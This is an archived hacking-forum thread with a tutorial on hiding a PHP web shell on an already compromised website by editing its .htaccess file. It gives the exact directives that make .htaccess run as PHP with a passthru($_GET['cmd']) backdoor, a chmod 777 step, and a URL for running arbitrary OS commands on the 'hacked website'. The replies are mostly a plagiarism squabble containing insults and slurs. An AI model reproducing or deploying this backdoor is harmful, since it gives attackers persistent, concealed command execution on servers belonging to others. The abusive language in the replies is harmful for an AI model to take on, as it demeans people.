+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [Hot]HOW TO HIDE YOUR SHELL USING .htaccess (/showthread.php?tid=3454874)
[Hot]HOW TO HIDE YOUR SHELL USING .htaccess - Pr4th4m - May 3, 2013
Today I want to show you a less known trick in which you can use .htaccess file. Already available on server as a shell to execute OS commands, so just follow the simple steps described below. This file is also useful to add restrictions on files.
Open your PHP web shell, navigate to public_html directory and search for .htaccess file, once found, click on edit option.
After clicking on the edit option, add the following lines of code in your .htaccess file.
Code:
Quote:<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']); ?>
After adding your codes, save it, and done ! :D
But sometimes we can't able to edit .htaccess file due to permissions provided by the administrator so we must have to change the permissions
If we get an error: .htaccess is not readable
Then use following command to change it to the readable, writable and also in executable mode.. :wink:
command: chmod 777 .htaccess
Here in above command we can see 777, The fist digit (7) is for user,
second(7) for group and third (7) is for others..!! In UNIX/Linux permissions are divided into 3 categories User-Group-Others :)
Now in order to use your .htaccess shell
http://www.your-hacked-website.com/.htaccess?cmd=ls
After ?cmd= you can execute any OS command of your choice.
[/quote]
Thank you..!!. 🎉
Credits : Blogspot
* - MattiasR - May 3, 2013
Stolen from this website right here: Spoiler (Click to View)
* - Pr4th4m - May 3, 2013
(May 3, 2013 02:56 PM)MattiasR Wrote: Stolen from this website right here: Spoiler (Click to View)
Not stolen.. sharing with other peoples.. and i already give a credits.. hackingsec.in is the site of my friend... 🤝
* - MattiasR - May 4, 2013
(May 3, 2013 03:00 PM)Pr4th4m Wrote: Not stolen.. sharing with other peoples.. and i already give a credits.. hackingsec.in is the site of my friend... 🤝
Hahah..
Yeah right!
And you gave credits to Blogspot, not hackingsec.
You expect anyone to believe that? Stupid 12 year old.
* - iJaTyX - May 4, 2013
(May 4, 2013 05:34 AM)MattiasR Wrote: Hahah..
Yeah right!
And you gave credits to Blogspot, not hackingsec.
You expect anyone to believe that? Stupid 12 year old.
Perhaps he found it on Blogspot (reposted from HackingSec).
There's no problem with sharing tutorials that have been C+P'd as long as he doesn't take credit for them.
* - MattiasR - May 4, 2013
(May 4, 2013 05:37 AM)iJaTyX Wrote: Perhaps he found it on Blogspot (reposted from HackingSec).
There's no problem with sharing tutorials that have been C+P'd as long as he doesn't take credit for them.
Blogspot is a blogging portal, not a hacking website.
* - iJaTyX - May 4, 2013
(May 4, 2013 05:41 AM)MattiasR Wrote: Blogspot is a blogging portal, not a hacking website.
Have you ever thought...maybe someone created a blogspot website and put the tutorial on there? 🤝
* - MattiasR - May 4, 2013
(May 4, 2013 05:43 AM)iJaTyX Wrote: Have you ever thought...maybe someone created a blogspot website and put the tutorial on there? 🤝
Yup, but why would he give Blogspot credits from something Blogspot didn't make?
* - iJaTyX - May 4, 2013
(May 4, 2013 05:49 AM)MattiasR Wrote: Yup, but why would he give Blogspot credits from something Blogspot didn't make?
Maybe because he didn't know HackingSec or the other side made it? 😖
* - MattiasR - May 4, 2013
(May 4, 2013 05:53 AM)iJaTyX Wrote: Maybe because he didn't know HackingSec or the other side made it? 😖
http://www.hackingsec.in/
Does that look ANYTHING like blogspot to you?
What, are you retarded or something?
* - iJaTyX - May 4, 2013
(May 4, 2013 06:42 AM)MattiasR Wrote: http://www.hackingsec.in/
Does that look ANYTHING like blogspot to you?
What, are you retarded or something?
I don't think you get it...
Someone (lets say User 1) visits hackingsec.in's tutorial
He thinks: Oh let me put it on my site
So he goes to his site (something.blogspot.com) and pastes the tutorial there.
Now OP comes along and sees the tutorial on User 1's blogspot and shares it with us.
* - NETExplorer - May 4, 2013
(May 4, 2013 06:42 AM)MattiasR Wrote: http://www.hackingsec.in/
Does that look ANYTHING like blogspot to you?
What, are you retarded or something?
My god, you are the retarded one. OP could've gotten it off some blog that took it from the main site.
Hop off OP's dick, and chill.
* - MattiasR - May 5, 2013
(May 4, 2013 11:58 PM)PatPositron Wrote: My god, you are the retarded one. OP could've gotten it off some blog that took it from the main site.
Hop off OP's dick, and chill.
Does it mather?
Just because the blog is hosted on Blogspot doesn't mean that Blogspot created it. Jesus christ..
* - exccc - May 5, 2013
yar not working totally fake not working ... :(
* - dj.abhiyukthan - May 5, 2013
Awesome some thanks buddy :) Good post